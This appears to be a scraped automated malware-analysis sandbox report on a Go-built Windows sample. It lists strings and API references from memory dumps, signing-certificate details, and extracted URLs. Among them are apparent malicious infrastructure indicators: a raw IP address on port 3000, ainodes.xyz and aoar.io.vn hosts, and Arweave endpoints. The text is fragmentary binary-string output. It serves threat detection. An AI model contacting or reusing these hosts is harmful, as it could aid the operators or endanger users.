asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type runtime: bad lfnode address region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep une" (Indicator: "CertCreateCertificateContext"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin"), Found api reference "ut of rangereflect: Elem of invalid type sync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "cannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usa" (Indicator: "CertAddCertificateContextToStore"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") Found api reference "ut of rangereflect: Elem of invalid type sync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "cannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usa" (Indicator: "CertVerifyCertificateChainPolicy"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin"), Found api reference "runtime: sp=abi mismatchwrong timerslevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method span.base()=bad flushGen not pointer != sweepgen MB globals work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}" (Indicator: "CertOpenStore"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found api reference "sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #userArenaStateGC (dedicated)read mem statsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= nil elem type! to finalizer GC worker initruntime: full=runtime: want=MB; allocated RtlGetVersion" (Indicator: "CertCloseStore"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found api reference "sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #userArenaStateGC (dedicated)read mem statsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= nil elem type! to finalizer GC worker initruntime: full=runtime: want=MB; allocated RtlGetVersion" (Indicator: "CryptGenRandom"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found api reference ", locked to threadruntime.semacreateruntime.semawakeupbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitwait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedbad kind in runfinqmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic" (Indicator: "CryptReleaseContext"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cacheschan send (synctest)close of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cacheschan send (synctest)close of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs done" (Indicator: "CryptAcquireContextW"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found api reference "exit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCupdate during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlapsstack trace unavailable" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type runtime: bad lfnode address region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "CertCreateCertificateContext"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") Found api reference "unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp")26:T4c6,The input sample is signed with a certificate issued by "CN=E8, O=Let's Encrypt, C=US" (SHA1: 2C:11:B8:BD:A0:87:D7:C8:F5:5D:26:87:9A:EA:39:21:11:48:DB:CB; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 54:31:7E:B0:76:5F:0B:C6:74:85:51:84:EB:83:74:B4:19:9E:46:55; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 28:C6:1A:05:35:16:9F:49:C2:1B:C3:80:3B:26:D7:9A:1A:98:50:AC; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=E8, O=Let's Encrypt, C=US" (SHA1: 2E:4B:58:39:3D:6D:7D:8D:31:69:F4:33:C6:04:3C:40:43:F3:76:78; see report for more information)27:T752,file/memory contains long string with (Indicator: "GetUserName"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "LookupAccountName"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountName"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00002132.00000001.165043.0027D000.00000002.mdmp")28:T95a,"9iqmgvw,czcthawte," - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?everisign," - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris21.3.6.1.4.1.311.10.3.30xx4b" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l)b*u1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l+'nzte3e(zm" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "https://api.myip.com/apioarsm6.1.80112000r.io.vnyip.com/x'ec" - Source: "00000000-00002132.00000000.163124.1FAA0000.00000004.mdmp") Found URL "https://arweave.net/graphqlhttps://arweave-search.goldsky.com/graphqlhttps://arweave.fllstck.dev/graphqlhttps://ar.vnnode.com/graphqlhttps://ario.koltigin.xyz/graphqlhttps://ar.owlstake.com/graphqlhttps://ainodes.xyzhttps://arweave.fllstck.devhttps://ar.vnnode.comhttps://ar.owlstake.comabcdefghijklmnopqrstuvwxyz0123456789_abcdefghijklmnopqrstuvwxyz\screenshot" - Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp") Found URL "https://api.myip.com/.exeopenc:\6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin.exe!this" - Source: "00000000-00002132.00000000.163124.40000000.00000040.mdmp") Found URL "https://ainodes.xyz/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qcr3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vnapi.myip.comainodes.xyzapi.myip.comainodes.xyz=<5/microsoft" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "http://95.85.239.146:3000/1edhizdpmxlan8qesv-9mkmbtzafl6jsmxahe2bd3fz-ojlzstzj4ca" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=cmwzj%2bvi2wvxksdzfzwfo3vqtrsi%2bgwiusqvathbyahg4p3caiiqfn1w8o2%2bg7uewb7sviwstuaavmj8l2xygp2xxbxkygm6t6mj" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "https://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc?" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "https://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc?vary:" - Source: "00000000-00002132.00000000.163124.67210000.00000004.mdmp") Found URL "https://ari.myip.com/api.myip.com.io.vnlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vnssapikerberosmicrosoft" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "https://arweave.net/graphql3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vnc:\windows\system32\cryptnet.dllobal\bd80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin.exeainodes.xyzc:\windows\system32\inetcomm.dllttps://ainodes.xyz/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vnmicrosoft" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "https://api.myip.com/microsoft" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "https://r3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vn/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qc?srg" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "https://arweave.net/graphqlcontent-typeapplication/jsonn30'i.@suhmen=1w)j]/i2ntlmtsssppku2ucloudapwdigestsystemdrive=c:windir=c:\windowsprocessor_level=6systemroot=c:\windowsos=windows_ntpublic=c:\users\publicusername=hapubwspostacceptapplication/jsonhomedrive=c:homepath=\users\hapubwsnumber_of_processors=2processor_revision=4f00sessionname=consoleo*vlw*vl/)vl7)vl?)vl')vlw)vlg)vlo)vl_)vlo)vlw)vlg)vlg*vlgwk&c[?n30'n30'mnf" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?everisign," - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris21.3.6.1.4.1.311.10.3.30xx4b" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l)b*u1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l+'nzte3e(zm" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "https://api.myip.com/apioarsm6.1.80112000r.io.vnyip.com/x'ec" - Source: "00000000-00002132.00000001.165043.1FAA0000.00000004.mdmp") Found URL "https://arweave.net/graphqlhttps://arweave-search.goldsky.com/graphqlhttps://arweave.fllstck.dev/graphqlhttps://ar.vnnode.com/graphqlhttps://ario.koltigin.xyz/graphqlhttps://ar.owlstake.com/graphqlhttps://ainodes.xyzhttps://arweave.fllstck.devhttps://ar.vnnode.comhttps://ar.owlstake.comabcdefghijklmnopqrstuvwxyz0123456789_abcdefghijklmnopqrstuvwxyz\screenshot" - Source: "00000000-00002132.00000001.165043.40000000.00000040.mdmp") Found URL "https://api.myip.com/.exeopenc:\6d80cd9e3401b66d8720e8a34124b74bfaf574ae8d95d3d935c53e158395aa49.bin.exe!this" - Source: "00000000-00002132.00000001.165043.40000000.00000040.mdmp") Found URL "https://ainodes.xyz/jub1yb-6w6sjlqkkpuqblbqvpwwej0jr7upz8tgo5qcr3qhlsa7xjn2jizoukskn2u3sqkbljlft2hueupnipm7fwbi42tq.ainode.aoar.io.vnapi.myip.comainodes.xyzapi.myip.comainodes.xyz=<5/microsoft" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL "http://95.85.239.146:3000/1edhizdpmxlan8qesv-9mkmbtzafl6jsmxahe2bd3fz-ojlzstzj4ca" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=cmwzj%2bvi2wvxksdzfzwfo3vqtrsi%2bgwiusqvathbyahg4p3caiiqfn1w8o2%2bg7uewb7sviwstuaavmj8l2xygp2xxbxkygm6t6mj" - Source: "00000000-00002132.00000001.165043.67210000.00000004.mdmp") Found URL 